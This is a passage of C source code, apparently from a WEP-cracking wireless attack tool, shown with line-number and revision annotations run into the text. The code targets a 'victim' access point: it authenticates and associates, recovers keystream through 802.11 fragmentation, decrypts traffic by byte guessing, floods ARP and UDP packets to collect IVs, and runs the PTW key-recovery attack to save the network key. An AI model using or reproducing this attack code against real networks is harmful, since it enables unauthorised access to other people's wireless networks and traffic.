1616161030Ssam type != IEEE80211_FC0_TYPE_CTL) { 1617161030Ssam// printf("Ignoring dup packet... seq=%d\n", seq); 1618161030Ssam return; 1619161030Ssam } 1620161030Ssam lastseq = seq; 1621161030Ssam 1622161030Ssam // management frame 1623161030Ssam if (type == IEEE80211_FC0_TYPE_MGT) { 1624161030Ssam if(state == FIND_VICTIM) { 1625161030Ssam if (stype == IEEE80211_FC0_SUBTYPE_BEACON || 1626161030Ssam stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { 1627161030Ssam 1628161030Ssam if (get_victim_ssid(wh, rd)) { 1629161030Ssam return; 1630161030Ssam } 1631161030Ssam } 1632161030Ssam 1633161030Ssam } 1634161030Ssam } 1635161030Ssam 1636161030Ssam if (state >= FOUND_VICTIM) { 1637161030Ssam // stuff for us 1638161030Ssam if (for_us) { 1639161030Ssam stuff_for_us(wh, rd); 1640161030Ssam } 1641161030Ssam 1642161030Ssam // stuff in network [even for us] 1643161030Ssam if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && 1644161030Ssam (memcmp(victim.bss, wh->i_addr1, 6) == 0)) || 1645161030Ssam 1646161030Ssam ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && 1647161030Ssam (memcmp(victim.bss, wh->i_addr2, 6) == 0)) 1648161030Ssam ) { 1649161030Ssam stuff_for_net(wh, rd); 1650161030Ssam } 1651161030Ssam } 1652161030Ssam} 1653161030Ssam 1654161030Ssamvoid do_arp(unsigned char* buf, unsigned short op, 1655161030Ssam unsigned char* m1, unsigned char* i1, 1656161030Ssam unsigned char* m2, unsigned char* i2) { 1657161030Ssam 1658161030Ssam struct in_addr sip; 1659161030Ssam struct in_addr dip; 1660161030Ssam struct arphdr* h; 1661161030Ssam unsigned char* data; 1662161030Ssam 1663161030Ssam inet_aton(i1, &sip); 1664161030Ssam inet_aton(i2, &dip); 1665161030Ssam h = (struct arphdr*) buf; 1666161030Ssam 1667161030Ssam memset(h, 0, sizeof(*h)); 1668161030Ssam 1669161030Ssam h->ar_hrd = htons(ARPHRD_ETHER); 1670161030Ssam h->ar_pro = htons(ETHERTYPE_IP); 1671161030Ssam h->ar_hln = 6; 1672161030Ssam h->ar_pln = 4; 1673161030Ssam h->ar_op = htons(op); 1674161030Ssam 1675161030Ssam data = (unsigned char*) h + sizeof(*h); 1676161030Ssam 1677161030Ssam memcpy(data, m1, 6); 1678161030Ssam data += 6; 1679161030Ssam memcpy(data, &sip, 4); 1680161030Ssam data += 4; 1681161030Ssam 1682161030Ssam memcpy(data, m2, 6); 1683161030Ssam data += 6; 1684161030Ssam memcpy(data, &dip, 4); 1685161030Ssam data += 4; 1686161030Ssam} 1687161030Ssam 1688161030Ssamvoid send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) { 1689161030Ssam unsigned char buf[4096]; 1690161030Ssam struct ieee80211_frame* wh; 1691161030Ssam unsigned char* body; 1692161030Ssam int fragsize; 1693161030Ssam uLong crc; 1694161030Ssam unsigned long *pcrc; 1695161030Ssam int i; 1696161030Ssam unsigned short* seq; 1697161030Ssam unsigned short sn, fn; 1698161030Ssam 1699161030Ssam wh = (struct ieee80211_frame*) buf; 1700161030Ssam memcpy(wh, &fs->wh, sizeof(*wh)); 1701161030Ssam 1702161030Ssam body = (unsigned char*) wh + sizeof(*wh); 1703161030Ssam memcpy(body, &pi->iv, 3); 1704161030Ssam body += 3; 1705161030Ssam *body++ = 0; // key index 1706161030Ssam 1707161030Ssam fragsize = fs->data + fs->len - fs->ptr; 1708161030Ssam 1709161030Ssam assert(fragsize > 0); 1710161030Ssam 1711161030Ssam if ( (fragsize + 4) > pi->len) { 1712161030Ssam fragsize = pi->len - 4; 1713161030Ssam wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; 1714161030Ssam } 1715161030Ssam // last fragment 1716161030Ssam else { 1717161030Ssam wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; 1718161030Ssam } 1719161030Ssam 1720161030Ssam memcpy(body, fs->ptr, fragsize); 1721161030Ssam 1722161030Ssam crc = crc32(0L, Z_NULL, 0); 1723161030Ssam crc = crc32(crc, body, fragsize); 1724161030Ssam pcrc = (unsigned long*) (body+fragsize); 1725161030Ssam *pcrc = crc; 1726161030Ssam 1727161030Ssam for (i = 0; i < (fragsize + 4); i++) 1728161030Ssam body[i] ^= pi->prga[i]; 1729161030Ssam 1730161030Ssam seq = (unsigned short*) &wh->i_seq; 1731161030Ssam sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; 1732161030Ssam fn = *seq & IEEE80211_SEQ_FRAG_MASK; 1733161030Ssam// printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn); 1734161030Ssam 1735161030Ssam send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4); 1736161030Ssam 1737161030Ssam seq = (unsigned short*) &fs->wh.i_seq; 1738161030Ssam *seq = fnseq(++fn, sn); 1739161030Ssam fs->ptr += fragsize; 1740161030Ssam 1741161030Ssam if (fs->ptr - fs->data == fs->len) { 1742161030Ssam// printf("Finished sending frags...\n"); 1743161030Ssam fs->waiting_relay = 1; 1744161030Ssam } 1745161030Ssam} 1746161030Ssam 1747161030Ssamvoid prepare_fragstate(struct frag_state* fs, int pad) { 1748161030Ssam fs->waiting_relay = 0; 1749161030Ssam fs->len = 8 + 8 + 20 + pad; 1750161030Ssam fs->data = (unsigned char*) malloc(fs->len); 1751161030Ssam 1752161030Ssam if(!fs->data) { 1753161030Ssam perror("malloc()"); 1754161030Ssam exit(1); 1755161030Ssam } 1756161030Ssam 1757161030Ssam fs->ptr = fs->data; 1758161030Ssam 1759161030Ssam do_llc(fs->data, ETHERTYPE_ARP); 1760161030Ssam do_arp(&fs->data[8], ARPOP_REQUEST, 1761161030Ssam mymac, myip, 1762161030Ssam "\x00\x00\x00\x00\x00\x00", "192.168.0.1"); 1763161030Ssam 1764161030Ssam memset(&fs->wh, 0, sizeof(fs->wh)); 1765161030Ssam fill_basic(&fs->wh); 1766161030Ssam 1767161030Ssam memset(fs->wh.i_addr3, 0xff, 6); 1768161030Ssam fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 1769161030Ssam fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS | 1770161030Ssam IEEE80211_FC1_MORE_FRAG | 1771161030Ssam IEEE80211_FC1_WEP; 1772161030Ssam 1773161030Ssam memset(&fs->data[8+8+20], 0, pad); 1774161030Ssam} 1775161030Ssam 1776161030Ssamvoid discover_prga(int tx) { 1777161030Ssam 1778161030Ssam // create packet... 1779161030Ssam if (!fragstate.data) { 1780161030Ssam int pad = 0; 1781161030Ssam 1782161030Ssam if (prgainfo.len >= 20) 1783161030Ssam pad = prgainfo.len*3; 1784161030Ssam 1785161030Ssam prepare_fragstate(&fragstate, pad); 1786161030Ssam } 1787161030Ssam 1788161030Ssam if (!fragstate.waiting_relay) { 1789161030Ssam send_fragment(tx, &fragstate, &prgainfo); 1790161030Ssam if (fragstate.waiting_relay) { 1791161030Ssam if (gettimeofday(&fragstate.last, NULL) == -1) 1792161030Ssam err(1, "gettimeofday()"); 1793161030Ssam } 1794161030Ssam } 1795161030Ssam} 1796161030Ssam 1797161030Ssamvoid decrypt(int tx) { 1798161030Ssam 1799161030Ssam // gotta initiate 1800161030Ssam if (!decryptstate.fragstate.data) { 1801161030Ssam prepare_fragstate(&decryptstate.fragstate, 0); 1802161030Ssam 1803161030Ssam memcpy(decryptstate.fragstate.wh.i_addr3, 1804161030Ssam MCAST_PREF, 5); 1805161030Ssam 1806161030Ssam decryptstate.fragstate.wh.i_addr3[5] = 1807161030Ssam decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]; 1808161030Ssam 1809161030Ssam decryptstate.prgainfo.len++; 1810161030Ssam } 1811161030Ssam 1812161030Ssam // guess diff prga byte... 1813161030Ssam if (decryptstate.fragstate.waiting_relay) { 1814161030Ssam unsigned short* seq; 1815161030Ssam decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++; 1816161030Ssam 1817161030Ssam#if 0 1818161030Ssam if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) { 1819161030Ssam printf("Can't decrpyt!\n"); 1820161030Ssam exit(1); 1821161030Ssam } 1822161030Ssam#endif 1823161030Ssam decryptstate.fragstate.wh.i_addr3[5] = 1824161030Ssam decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]; 1825161030Ssam 1826161030Ssam decryptstate.fragstate.waiting_relay = 0; 1827161030Ssam decryptstate.fragstate.ptr = decryptstate.fragstate.data; 1828161030Ssam 1829161030Ssam seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq; 1830161030Ssam *seq = fnseq(0, txstate.psent); 1831161030Ssam } 1832161030Ssam 1833161030Ssam send_fragment(tx, &decryptstate.fragstate, 1834161030Ssam &decryptstate.prgainfo); 1835161030Ssam} 1836161030Ssam 1837161030Ssamvoid flood_inet(tx) { 1838161030Ssam static int send_arp = -1; 1839161030Ssam static unsigned char arp_pkt[128]; 1840161030Ssam static int arp_len; 1841161030Ssam static unsigned char udp_pkt[128]; 1842161030Ssam static int udp_len; 1843161030Ssam static struct timeval last_ip; 1844161030Ssam 1845161030Ssam // need to init packets... 1846161030Ssam if (send_arp == -1) { 1847161030Ssam unsigned char* body; 1848161030Ssam unsigned char* ptr; 1849161030Ssam struct ieee80211_frame* wh; 1850161030Ssam struct ip* ih; 1851161030Ssam struct udphdr* uh; 1852161030Ssam 1853161030Ssam memset(arp_pkt, 0, sizeof(arp_pkt)); 1854161030Ssam memset(udp_pkt, 0, sizeof(udp_pkt)); 1855161030Ssam 1856161030Ssam // construct ARP 1857161030Ssam wh = (struct ieee80211_frame*) arp_pkt; 1858161030Ssam fill_basic(wh); 1859161030Ssam 1860161030Ssam wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 1861161030Ssam wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; 1862161030Ssam memset(wh->i_addr3, 0xff, 6); 1863161030Ssam 1864161030Ssam body = (unsigned char*) wh + sizeof(*wh); 1865161030Ssam ptr = body; 1866161030Ssam ptr += 4; // iv 1867161030Ssam 1868161030Ssam do_llc(ptr, ETHERTYPE_ARP); 1869161030Ssam ptr += 8; 1870161030Ssam do_arp(ptr, ARPOP_REQUEST, mymac, myip, 1871161030Ssam "\x00\x00\x00\x00\x00\x00", netip); 1872161030Ssam 1873161030Ssam wepify(body, 8+8+20); 1874161030Ssam arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4; 1875161030Ssam assert(arp_len < sizeof(arp_pkt)); 1876161030Ssam 1877161030Ssam 1878161030Ssam // construct UDP 1879161030Ssam wh = (struct ieee80211_frame*) udp_pkt; 1880161030Ssam fill_basic(wh); 1881161030Ssam 1882161030Ssam wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 1883161030Ssam wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; 1884161030Ssam memcpy(wh->i_addr3, rtrmac, 6); 1885161030Ssam 1886161030Ssam body = (unsigned char*) wh + sizeof(*wh); 1887161030Ssam ptr = body; 1888161030Ssam ptr += 4; // iv 1889161030Ssam 1890161030Ssam do_llc(ptr, ETHERTYPE_IP); 1891161030Ssam ptr += 8; 1892161030Ssam 1893161030Ssam ih = (struct ip*) ptr; 1894161030Ssam ih->ip_hl = 5; 1895161030Ssam ih->ip_v = 4; 1896161030Ssam ih->ip_tos = 0; 1897161030Ssam ih->ip_len = htons(20+8+5); 1898161030Ssam ih->ip_id = htons(666); 1899161030Ssam ih->ip_off = 0; 1900161030Ssam ih->ip_ttl = 128; 1901161030Ssam ih->ip_p = IPPROTO_UDP; 1902161030Ssam ih->ip_sum = 0; 1903161030Ssam 1904161030Ssam inet_aton(myip, &ih->ip_src); 1905161030Ssam inet_aton(floodip, &ih->ip_dst); 1906161030Ssam 1907161030Ssam ih->ip_sum = in_cksum((unsigned short*)ih, 20); 1908161030Ssam 1909161030Ssam ptr += 20; 1910161030Ssam uh = (struct udphdr*) ptr; 1911161030Ssam uh->uh_sport = htons(floodsport); 1912161030Ssam uh->uh_dport = htons(floodport); 1913161030Ssam uh->uh_ulen = htons(8+5); 1914161030Ssam uh->uh_sum = 0; 1915161030Ssam 1916161030Ssam ptr += 8; 1917161030Ssam strcpy(ptr, "sorbo"); 1918161030Ssam 1919161030Ssam uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src, 1920161030Ssam &ih->ip_dst); 1921161030Ssam 1922161030Ssam wepify(body, 8+20+8+5); 1923161030Ssam udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4; 1924161030Ssam assert(udp_len < sizeof(udp_pkt)); 1925161030Ssam 1926161030Ssam // bootstrap 1927161030Ssam send_arp = 1; 1928161030Ssam 1929161030Ssam memset(&last_ip, 0, sizeof(last_ip)); 1930161030Ssam } 1931161030Ssam 1932161030Ssam if (send_arp == 1) { 1933161030Ssam struct timeval now; 1934161030Ssam unsigned long sec; 1935161030Ssam 1936161030Ssam if (gettimeofday(&now, NULL) == -1) { 1937161030Ssam perror("gettimeofday()"); 1938161030Ssam exit(1); 1939161030Ssam } 1940161030Ssam 1941161030Ssam sec = now.tv_sec - last_ip.tv_sec; 1942161030Ssam 1943161030Ssam if (sec < 5) 1944161030Ssam return; 1945161030Ssam 1946161030Ssam send_frame(tx, arp_pkt, arp_len); 1947161030Ssam send_arp = 0; 1948161030Ssam } 1949161030Ssam 1950161030Ssam else if (send_arp == 0) { 1951161030Ssam if (gettimeofday(&last_ip, NULL) == -1) { 1952161030Ssam perror("gettimeofday()"); 1953161030Ssam exit(1); 1954161030Ssam } 1955161030Ssam 1956161030Ssam send_frame(tx, udp_pkt, udp_len); 1957161030Ssam send_arp = 1; 1958161030Ssam } else assert(0); 1959161030Ssam} 1960161030Ssam 1961161030Ssamvoid send_arp(int tx, unsigned short op, unsigned char* srcip, 1962161030Ssam unsigned char* srcmac, unsigned char* dstip, 1963161030Ssam unsigned char* dstmac) { 1964161030Ssam 1965161030Ssam static unsigned char arp_pkt[128]; 1966161030Ssam unsigned char* body; 1967161030Ssam unsigned char* ptr; 1968161030Ssam struct ieee80211_frame* wh; 1969161030Ssam int arp_len; 1970161030Ssam 1971161030Ssam memset(arp_pkt, 0, sizeof(arp_pkt)); 1972161030Ssam 1973161030Ssam // construct ARP 1974161030Ssam wh = (struct ieee80211_frame*) arp_pkt; 1975161030Ssam fill_basic(wh); 1976161030Ssam 1977161030Ssam wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 1978161030Ssam wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; 1979161030Ssam memset(wh->i_addr3, 0xff, 6); 1980161030Ssam 1981161030Ssam body = (unsigned char*) wh + sizeof(*wh); 1982161030Ssam ptr = body; 1983161030Ssam ptr += 4; // iv 1984161030Ssam 1985161030Ssam do_llc(ptr, ETHERTYPE_ARP); 1986161030Ssam ptr += 8; 1987161030Ssam do_arp(ptr, op, srcmac, srcip, dstmac, dstip); 1988161030Ssam 1989161030Ssam wepify(body, 8+8+20); 1990161030Ssam arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4; 1991161030Ssam assert(arp_len < sizeof(arp_pkt)); 1992161030Ssam 1993161030Ssam send_frame(tx, arp_pkt, arp_len); 1994161030Ssam} 1995161030Ssam 1996161030Ssamvoid can_write(int tx) { 1997161030Ssam static char arp_ip[16]; 1998161030Ssam 1999161030Ssam switch (state) { 2000161030Ssam case FOUND_VICTIM: 2001161030Ssam send_auth(tx); 2002161030Ssam state = SENDING_AUTH; 2003161030Ssam break; 2004161030Ssam 2005161030Ssam case GOT_AUTH: 2006161030Ssam send_assoc(tx); 2007161030Ssam state = SENDING_ASSOC; 2008161030Ssam break; 2009161030Ssam 2010161030Ssam case GOT_ASSOC: 2011161030Ssam if (prgainfo.prga && prgainfo.len < min_prga) { 2012161030Ssam discover_prga(tx); 2013161030Ssam break; 2014161030Ssam } 2015161030Ssam 2016161030Ssam if (decryptstate.cipher) { 2017161030Ssam decrypt(tx); 2018161030Ssam break; 2019161030Ssam } 2020161030Ssam 2021161030Ssam if (!prgainfo.prga) 2022161030Ssam break; 2023161030Ssam 2024161030Ssam if (taptx_len) { 2025161030Ssam send_frame(tx, taptx, taptx_len); 2026161030Ssam taptx_len = 0; 2027161030Ssam break; 2028161030Ssam } 2029161030Ssam 2030161030Ssam // try to find rtr mac addr 2031161030Ssam if (netip && !rtrmac) { 2032161030Ssam char* ptr; 2033161030Ssam 2034161030Ssam strcpy(arp_ip, netip); 2035168502Ssam if (!netip_arg) { 2036168502Ssam ptr = strchr(arp_ip, '.'); 2037168502Ssam assert(ptr); 2038168502Ssam ptr = strchr(++ptr, '.'); 2039168502Ssam assert(ptr); 2040168502Ssam ptr = strchr(++ptr, '.'); 2041168502Ssam assert(ptr); 2042168502Ssam strcpy(++ptr, "1"); 2043168502Ssam } 2044161030Ssam 2045161030Ssam if (gettimeofday(&arpsend, NULL) == -1) 2046161030Ssam err(1, "gettimeofday()"); 2047161030Ssam 2048161030Ssam time_print("Sending arp request for: %s\n", arp_ip); 2049161030Ssam send_arp(tx, ARPOP_REQUEST, myip, mymac, 2050161030Ssam arp_ip, "\x00\x00\x00\x00\x00\x00"); 2051161030Ssam 2052161030Ssam // XXX lame 2053161030Ssam rtrmac = (unsigned char*)1; 2054161030Ssam break; 2055161030Ssam } 2056161030Ssam 2057161030Ssam // need to generate traffic... 2058161030Ssam if (rtrmac > (unsigned char*)1 && netip) { 2059161030Ssam if (floodip) 2060161030Ssam flood_inet(tx); 2061161030Ssam else { 2062161030Ssam // XXX lame technique... anyway... im 2063161030Ssam // only interested in flood_inet... 2064161030Ssam 2065161030Ssam // could ping broadcast.... 2066161030Ssam send_arp(tx, ARPOP_REQUEST, myip, mymac, 2067161030Ssam arp_ip, "\x00\x00\x00\x00\x00\x00"); 2068161030Ssam } 2069161030Ssam 2070161030Ssam break; 2071161030Ssam } 2072161030Ssam 2073161030Ssam break; 2074161030Ssam } 2075161030Ssam} 2076161030Ssam 2077168502Ssamvoid save_key(unsigned char *key, int len) 2078168502Ssam{ 2079168502Ssam char tmp[16]; 2080168966Ssam char k[64]; 2081168502Ssam int fd; 2082168502Ssam int rd; 2083168502Ssam 2084168966Ssam assert(len*3 < sizeof(k)); 2085168966Ssam 2086168502Ssam k[0] = 0; 2087168502Ssam while (len--) { 2088168502Ssam sprintf(tmp, "%.2X", *key++); 2089168502Ssam strcat(k, tmp); 2090168502Ssam if (len) 2091168502Ssam strcat(k, ":"); 2092168502Ssam } 2093168502Ssam 2094168502Ssam fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644); 2095168502Ssam if (fd == -1) 2096168502Ssam err(1, "open()"); 2097168502Ssam 2098168502Ssam printf("\nKey: %s\n", k); 2099168502Ssam rd = write(fd, k, strlen(k)); 2100168502Ssam if (rd == -1) 2101168502Ssam err(1, "write()"); 2102168502Ssam if (rd != strlen(k)) 2103168502Ssam errx(1, "write %d/%d\n", rd, strlen(k)); 2104168502Ssam close(fd); 2105168502Ssam} 2106168502Ssam 2107168502Ssam#define KEYLIMIT (1000000) 2108168502Ssamint do_crack(void) 2109168502Ssam{ 2110168502Ssam unsigned char key[PTW_KEYHSBYTES]; 2111168502Ssam 2112168502Ssam if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) { 2113168502Ssam save_key(key, 13); 2114168502Ssam return 1; 2115168502Ssam } 2116168502Ssam if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) { 2117168502Ssam save_key(key, 5); 2118168502Ssam return 1; 2119168502Ssam } 2120168502Ssam 2121168502Ssam return 0; 2122168502Ssam} 2123168502Ssam 2124161030Ssamvoid try_crack() { 2125161030Ssam if (crack_pid) { 2126161030Ssam printf("\n"); 2127161030Ssam time_print("Warning... previous crack still running!\n"); 2128161030Ssam kill_crack(); 2129161030Ssam } 2130161030Ssam 2131161030Ssam if (weplog.fd) { 2132161030Ssam if (fsync(weplog.fd) == -1) 2133161030Ssam err(1, "fsync"); 2134161030Ssam } 2135161030Ssam 2136161030Ssam crack_pid = fork(); 2137161030Ssam 2138161030Ssam if (crack_pid == -1) 2139161030Ssam err(1, "fork"); 2140161030Ssam 2141161030Ssam // child 2142161030Ssam if (crack_pid == 0) { 2143168502Ssam if (!do_crack()) 2144168502Ssam printf("\nCrack unsuccessful\n"); 2145161030Ssam exit(1); 2146161030Ssam } 2147161030Ssam 2148161030Ssam // parent 2149161030Ssam printf("\n"); 2150161030Ssam time_print("Starting crack PID=%d\n", crack_pid); 2151161030Ssam if (gettimeofday(&crack_start, NULL) == -1) 2152161030Ssam err(1, "gettimeofday"); 2153161030Ssam 2154161030Ssam 2155161030Ssam wep_thresh += thresh_incr; 2156161030Ssam} 2157161030Ssam 2158161030Ssamvoid open_tap() { 2159161030Ssam struct stat st; 2160161030Ssam int s; 2161161030Ssam struct ifreq ifr; 2162161030Ssam unsigned int flags; 2163161030Ssam 2164161030Ssam tapfd = open(TAP_DEV, O_RDWR); 2165161030Ssam if (tapfd == -1) { 2166161030Ssam printf("Can't open tap: %s\n", strerror(errno)); 2167161030Ssam exit(1); 2168161030Ssam } 2169161030Ssam if(fstat(tapfd, &st) == -1) { 2170161030Ssam perror("fstat()"); 2171161030Ssam exit(1); 2172161030Ssam } 2173161030Ssam 2174161030Ssam // feer 2175161030Ssam strcpy(tapdev, devname(st.st_rdev, S_IFCHR)); 2176161030Ssam 2177161030Ssam s = socket(PF_INET, SOCK_DGRAM, 0); 2178161030Ssam if (s == -1) { 2179161030Ssam perror("socket()"); 2180161030Ssam exit(1); 2181161030Ssam } 2182161030Ssam 2183161030Ssam // MTU 2184161030Ssam memset(&ifr, 0, sizeof(ifr)); 2185161030Ssam strcpy(ifr.ifr_name, tapdev); 2186161030Ssam ifr.ifr_mtu = 1500; 2187161030Ssam if (ioctl(s, SIOCSIFMTU, &ifr) == -1) { 2188161030Ssam perror("ioctl(SIOCSIFMTU)"); 2189161030Ssam exit(1); 2190161030Ssam } 2191161030Ssam 2192161030Ssam // set iface up 2193161030Ssam memset(&ifr, 0, sizeof(ifr)); 2194161030Ssam strcpy(ifr.ifr_name, tapdev); 2195161030Ssam if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { 2196161030Ssam perror("ioctl(SIOCGIFFLAGS)"); 2197161030Ssam exit(1); 2198161030Ssam } 2199161030Ssam 2200161030Ssam flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16); 2201161030Ssam flags |= IFF_UP; 2202161030Ssam 2203161030Ssam memset(&ifr, 0, sizeof(ifr)); 2204161030Ssam strcpy(ifr.ifr_name, tapdev); 2205161030Ssam ifr.ifr_flags = flags & 0xffff; 2206161030Ssam ifr.ifr_flagshigh = flags >> 16; 2207161030Ssam if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { 2208161030Ssam perror("ioctl(SIOCSIFFLAGS)"); 2209161030Ssam exit(1); 2210161030Ssam } 2211161030Ssam 2212161030Ssam close(s); 2213161030Ssam time_print("Opened tap device: %s\n", tapdev); 2214161030Ssam} 2215161030Ssam 2216161030Ssamvoid read_tap() { 2217161030Ssam unsigned char buf[4096]; 2218161030Ssam struct ether_header* eh; 2219161030Ssam struct ieee80211_frame* wh; 2220161030Ssam int rd; 2221161030Ssam unsigned char* ptr, *body; 2222161030Ssam int dlen; 2223161030Ssam 2224161030Ssam rd = read(tapfd, buf, sizeof(buf)); 2225161030Ssam if (rd == -1) { 2226161030Ssam perror("read()"); 2227161030Ssam exit(1); 2228161030Ssam } 2229161030Ssam dlen = rd - sizeof(*eh); 2230161030Ssam 2231161030Ssam assert(dlen > 0); 2232161030Ssam 2233161030Ssam if (dlen+8 > prgainfo.len) { 2234161030Ssam printf("\n"); 2235161030Ssam // XXX lame message... 2236161030Ssam time_print("Sorry... want to send %d but only got %d prga\n", 2237161030Ssam dlen, prgainfo.len); 2238161030Ssam return; 2239161030Ssam 2240161030Ssam } 2241161030Ssam 2242161030Ssam if (taptx_len) { 2243161030Ssam printf("\n"); 2244161030Ssam time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n"); 2245161030Ssam // XXX could not read instead and get rid of it in select... 2246161030Ssam } 2247161030Ssam 2248161030Ssam assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8)); 2249161030Ssam 2250161030Ssam eh = (struct ether_header*) buf; 2251161030Ssam 2252161030Ssam wh = (struct ieee80211_frame*) taptx; 2253161030Ssam memset(wh, 0, sizeof(*wh)); 2254161030Ssam fill_basic(wh); 2255161030Ssam 2256161030Ssam wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 2257161030Ssam wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; 2258161030Ssam 2259161030Ssam memcpy(wh->i_addr2, eh->ether_shost, 6); 2260161030Ssam memcpy(wh->i_addr3, eh->ether_dhost, 6); 2261161030Ssam 2262161030Ssam body = (unsigned char*) wh + sizeof(*wh); 2263161030Ssam ptr = body; 2264161030Ssam ptr += 4; // iv 2265161030Ssam 2266161030Ssam do_llc(ptr, ntohs(eh->ether_type)); 2267161030Ssam ptr += 8; 2268161030Ssam 2269161030Ssam memcpy(ptr, &buf[sizeof(*eh)], dlen); 2270161030Ssam 2271161030Ssam wepify(body, 8+dlen); 2272161030Ssam taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4; 2273161030Ssam 2274161030Ssam assert (taptx_len < sizeof(taptx)); 2275161030Ssam} 2276161030Ssam 2277161030Ssamint elapsedd(struct timeval *past, struct timeval *now) 2278161030Ssam{ 2279161030Ssam int el; 2280161030Ssam 2281161030Ssam el = now->tv_sec - past->tv_sec; 2282161030Ssam assert(el >= 0); 2283161030Ssam if (el == 0) { 2284161030Ssam el = now->tv_usec - past->tv_usec; 2285161030Ssam } else { 2286161030Ssam el = (el - 1)*1000*1000; 2287161030Ssam el += 1000*1000-past->tv_usec; 2288161030Ssam el += now->tv_usec; 2289161030Ssam } 2290161030Ssam 2291161030Ssam return el; 2292161030Ssam} 2293161030Ssam 2294168502Ssamstatic unsigned char *get_80211(unsigned char **data, int *totlen, int *plen) 2295168502Ssam{ 2296168502Ssam#define BIT(n) (1<<(n)) 2297168502Ssam struct bpf_hdr *bpfh; 2298168502Ssam struct ieee80211_radiotap_header *rth; 2299168502Ssam uint32_t present; 2300168502Ssam uint8_t rflags; 2301168502Ssam void *ptr; 2302168502Ssam static int nocrc = 0; 2303168502Ssam 2304168502Ssam assert(*totlen); 2305168502Ssam 2306168502Ssam /* bpf hdr */ 2307168502Ssam bpfh = (struct bpf_hdr*) (*data); 2308168502Ssam assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ 2309168502Ssam *totlen -= bpfh->bh_hdrlen; 2310168502Ssam 2311168502Ssam /* check if more packets */ 2312168502Ssam if ((int)bpfh->bh_caplen < *totlen) { 2313168502Ssam int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; 2314168502Ssam int offset = BPF_WORDALIGN(tot); 2315168502Ssam 2316168502Ssam *data = (char*)bpfh + offset; 2317168502Ssam *totlen -= offset - tot; /* take into account align bytes */ 2318168502Ssam } else if ((int)bpfh->bh_caplen > *totlen) 2319168502Ssam abort(); 2320168502Ssam 2321168502Ssam *plen = bpfh->bh_caplen; 2322168502Ssam *totlen -= bpfh->bh_caplen; 2323168502Ssam assert(*totlen >= 0); 2324168502Ssam 2325168502Ssam /* radiotap */ 2326168502Ssam rth = (struct ieee80211_radiotap_header*) 2327168502Ssam ((char*)bpfh + bpfh->bh_hdrlen); 2328168502Ssam /* XXX cache; drivers won't change this per-packet */ 2329168502Ssam /* check if FCS/CRC is included in packet */ 2330168502Ssam present = le32toh(rth->it_present); 2331168502Ssam if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) { 2332168502Ssam if (present & BIT(IEEE80211_RADIOTAP_TSFT)) 2333168502Ssam rflags = ((const uint8_t *)rth)[8]; 2334168502Ssam else 2335168502Ssam rflags = ((const uint8_t *)rth)[0]; 2336168502Ssam } else 2337168502Ssam rflags = 0; 2338168502Ssam *plen -= rth->it_len; 2339168502Ssam assert(*plen > 0); 2340168502Ssam 2341168502Ssam /* 802.11 CRC */ 2342168502Ssam if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { 2343168502Ssam *plen -= IEEE80211_CRC_LEN; 2344168502Ssam nocrc = 1; 2345168502Ssam } 2346168502Ssam 2347168502Ssam ptr = (char*)rth + rth->it_len; 2348168502Ssam 2349168502Ssam return ptr; 2350168502Ssam#undef BIT 2351168502Ssam} 2352168502Ssam 2353168502Ssamstatic int read_packet(int fd, unsigned char *dst, int len) 2354168502Ssam{ 2355168502Ssam static unsigned char buf[4096]; 2356168502Ssam static int totlen = 0; 2357168502Ssam static unsigned char *next = buf; 2358168502Ssam unsigned char *pkt; 2359168502Ssam int plen; 2360168502Ssam 2361168502Ssam assert(len > 0); 2362168502Ssam 2363168502Ssam /* need to read more */ 2364168502Ssam if (totlen == 0) { 2365168502Ssam totlen = read(fd, buf, sizeof(buf)); 2366168502Ssam if (totlen == -1) { 2367168502Ssam totlen = 0; 2368168502Ssam return -1; 2369168502Ssam } 2370168502Ssam next = buf; 2371168502Ssam } 2372168502Ssam 2373168502Ssam /* read 802.11 packet */ 2374168502Ssam pkt = get_80211(&next, &totlen, &plen); 2375168502Ssam if (plen > len) 2376168502Ssam plen = len; 2377168502Ssam assert(plen > 0); 2378168502Ssam 